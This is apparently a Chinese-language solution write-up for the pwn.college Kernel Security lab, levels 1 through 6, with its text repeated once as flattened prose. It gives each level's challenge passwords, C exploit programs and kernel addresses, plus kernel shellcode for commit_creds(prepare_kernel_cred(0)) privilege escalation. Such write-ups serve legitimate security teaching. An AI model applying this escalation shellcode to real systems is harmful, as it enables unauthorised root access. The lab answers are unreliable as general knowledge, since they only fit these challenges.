Pwn College Kernel Security实验详解(level1~level6)
字数 1859 2025-08-24 07:48:23

Pwn College Kernel Security 实验详解

实验概述

本系列实验旨在教授内核安全相关知识,通过分析内核模块漏洞并利用这些漏洞获取系统权限。实验环境通过GUI Desktop Workspace界面提供,所有挑战模块位于根目录的/challenge目录下。

实验环境准备

  1. 访问实验地址: https://pwn.college/system-security/kernel-security/
  2. 点击"start"启动环境
  3. 进入GUI Desktop Workspace界面
  4. 使用vm connect命令连接实验环境

Level 1.0 - 1.1: 简单密码验证

分析

  • 内核模块在/proc目录下创建名为pwncollege的接口
  • device_write函数将用户输入与硬编码密码比较
  • device_read函数验证密码,正确则输出flag(位于根目录,仅root可读)

密码

  • Level 1.0: snceewqvyntlwfha
  • Level 1.1: bbhlnbpoisiduufx

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "snceewqvyntlwfha"; // 替换为对应版本的密码
    ssize_t written;
    
    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    
    close(fd);
    return EXIT_SUCCESS;
}

验证方法

  1. 编译并运行程序
  2. 查看内核日志或直接读取/proc/pwncollege接口获取flag

Level 2.0 - 2.1: 无read函数的密码验证

分析

  • 与Level 1类似,但没有device_read函数
  • 直接查看pwncollege接口会显示错误
  • flag输出在内核日志中

密码

  • Level 2.0: yjtvotvfhmaybgnh
  • Level 2.1: dmmwsghycbuooaja

利用代码

(同Level 1,只需修改密码)

验证方法

查看内核日志获取flag

Level 3.0 - 3.1: 提权功能

分析

  • 密码正确时进入win函数,该函数具有提权功能
  • 成功后可直接读取/flag文件

密码

  • Level 3.0: dylgcsgflojsupql
  • Level 3.1: uhgodmeakdsthjfj

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char *password = "dylgcsgflojsupql"; // 替换为对应版本的密码
    ssize_t written;
    
    fd = open(DEVICE_PATH, O_WRONLY);
    written = write(fd, password, strlen(password));
    printf("Password written to the device successfully.\n");
    
    system("cat /flag");
    close(fd);
    return EXIT_SUCCESS;
}

Level 4.0 - 4.1: IOCTL接口

分析

  • 使用ioctl而非write函数
  • 需要传递cmd = 1337才能进入判断
  • 密码正确时进入提权函数

密码

  • Level 4.0: pupqprwamavtwcxq
  • Level 4.1: pkrnvpxjhribcxwl

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    char *password = "pupqprwamavtwcxq"; // 替换为对应版本的密码
    ssize_t written;
    
    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, password);
    printf("Password written to the device successfully.\n");
    
    system("cat /flag");
    close(fd);
    return EXIT_SUCCESS;
}

Level 5.0 - 5.1: 函数指针调用

分析

  • 需要传递cmd = 1337
  • 执行用户输入的指针(函数地址)
  • 需要找到win函数地址:
    1. 提升到root权限:sudo su
    2. 查看/proc/kallsyms文件
    3. 搜索win函数地址

函数地址

  • Level 5.0: 0xffffffffc000093d
  • Level 5.1: 0xffffffffc0000F62

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"
#define IOCTL_CMD 1337

int main() {
    int fd;
    ssize_t written;
    
    fd = open(DEVICE_PATH, O_WRONLY);
    written = ioctl(fd, IOCTL_CMD, 0xffffffffc000093d); // 替换为对应版本的地址
    
    printf("Password written to the device successfully.\n");
    system("cat /flag");
    close(fd);
    return EXIT_SUCCESS;
}

Level 6.0 - 6.1: 内核提权

分析

  • device_write使用copy_from_user将用户输入传入内核并执行
  • 需要构造shellcode执行commit_creds(prepare_kernel_cred(0))
  • 关键函数地址:
    1. 提升到root权限:sudo su
    2. 查看/proc/kallsyms
      • prepare_kernel_cred
      • commit_creds

Level 6.0函数地址

  • prepare_kernel_cred: 0xffffffff810890d0
  • commit_creds: 0xffffffff81088d90

Level 6.1函数地址

(需自行查找)

Shellcode汇编

push rsi
mov rsi, 0xffffffff810890d0  ; prepare_kernel_cred地址
push rdi
xor rdi, rdi                 ; 参数0
call rsi
mov rdi, rax                 ; 返回值作为参数
mov rsi, 0xffffffff81088d90  ; commit_creds地址
call rsi
pop rdi
pop rsi
ret

Shellcode机器码

\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3

利用代码

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define DEVICE_PATH "/proc/pwncollege"

int main() {
    int fd;
    char shellcode[] = "\x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3";
    
    fd = open(DEVICE_PATH, O_WRONLY);
    write(fd, shellcode, strlen(shellcode));
    printf("Password written to the device successfully.\n");
    
    system("cat /flag");
    close(fd);
    return EXIT_SUCCESS;
}

总结

本系列实验涵盖了从简单密码验证到内核提权的多种漏洞利用技术,关键知识点包括:

  1. 内核模块与用户空间的交互接口(/proc文件系统)
  2. 密码硬编码漏洞
  3. IOCTL接口的使用与安全
  4. 函数指针调用漏洞
  5. 内核空间代码执行与提权
  6. Shellcode构造与内核函数调用约定

通过逐步完成这些实验,可以深入理解内核安全漏洞的成因和利用方法。

Pwn College Kernel Security 实验详解 实验概述 本系列实验旨在教授内核安全相关知识,通过分析内核模块漏洞并利用这些漏洞获取系统权限。实验环境通过GUI Desktop Workspace界面提供,所有挑战模块位于根目录的 /challenge 目录下。 实验环境准备 访问实验地址: https://pwn.college/system-security/kernel-security/ 点击"start"启动环境 进入GUI Desktop Workspace界面 使用 vm connect 命令连接实验环境 Level 1.0 - 1.1: 简单密码验证 分析 内核模块在 /proc 目录下创建名为 pwncollege 的接口 device_write 函数将用户输入与硬编码密码比较 device_read 函数验证密码,正确则输出flag(位于根目录,仅root可读) 密码 Level 1.0: snceewqvyntlwfha Level 1.1: bbhlnbpoisiduufx 利用代码 验证方法 编译并运行程序 查看内核日志或直接读取 /proc/pwncollege 接口获取flag Level 2.0 - 2.1: 无read函数的密码验证 分析 与Level 1类似,但没有 device_read 函数 直接查看 pwncollege 接口会显示错误 flag输出在内核日志中 密码 Level 2.0: yjtvotvfhmaybgnh Level 2.1: dmmwsghycbuooaja 利用代码 (同Level 1,只需修改密码) 验证方法 查看内核日志获取flag Level 3.0 - 3.1: 提权功能 分析 密码正确时进入 win 函数,该函数具有提权功能 成功后可直接读取 /flag 文件 密码 Level 3.0: dylgcsgflojsupql Level 3.1: uhgodmeakdsthjfj 利用代码 Level 4.0 - 4.1: IOCTL接口 分析 使用 ioctl 而非 write 函数 需要传递 cmd = 1337 才能进入判断 密码正确时进入提权函数 密码 Level 4.0: pupqprwamavtwcxq Level 4.1: pkrnvpxjhribcxwl 利用代码 Level 5.0 - 5.1: 函数指针调用 分析 需要传递 cmd = 1337 执行用户输入的指针(函数地址) 需要找到 win 函数地址: 提升到root权限: sudo su 查看 /proc/kallsyms 文件 搜索 win 函数地址 函数地址 Level 5.0: 0xffffffffc000093d Level 5.1: 0xffffffffc0000F62 利用代码 Level 6.0 - 6.1: 内核提权 分析 device_write 使用 copy_from_user 将用户输入传入内核并执行 需要构造shellcode执行 commit_creds(prepare_kernel_cred(0)) 关键函数地址: 提升到root权限: sudo su 查看 /proc/kallsyms : prepare_kernel_cred commit_creds Level 6.0函数地址 prepare_kernel_cred : 0xffffffff810890d0 commit_creds : 0xffffffff81088d90 Level 6.1函数地址 (需自行查找) Shellcode汇编 Shellcode机器码 \x56\x48\xBE\xD0\x90\x08\x81\xFF\xFF\xFF\xFF\x57\x48\x31\xFF\xFF\xD6\x48\x89\xC7\x48\xBE\x90\x8D\x08\x81\xFF\xFF\xFF\xFF\xFF\xD6\x5F\x5E\xC3 利用代码 总结 本系列实验涵盖了从简单密码验证到内核提权的多种漏洞利用技术,关键知识点包括: 内核模块与用户空间的交互接口(/proc文件系统) 密码硬编码漏洞 IOCTL接口的使用与安全 函数指针调用漏洞 内核空间代码执行与提权 Shellcode构造与内核函数调用约定 通过逐步完成这些实验,可以深入理解内核安全漏洞的成因和利用方法。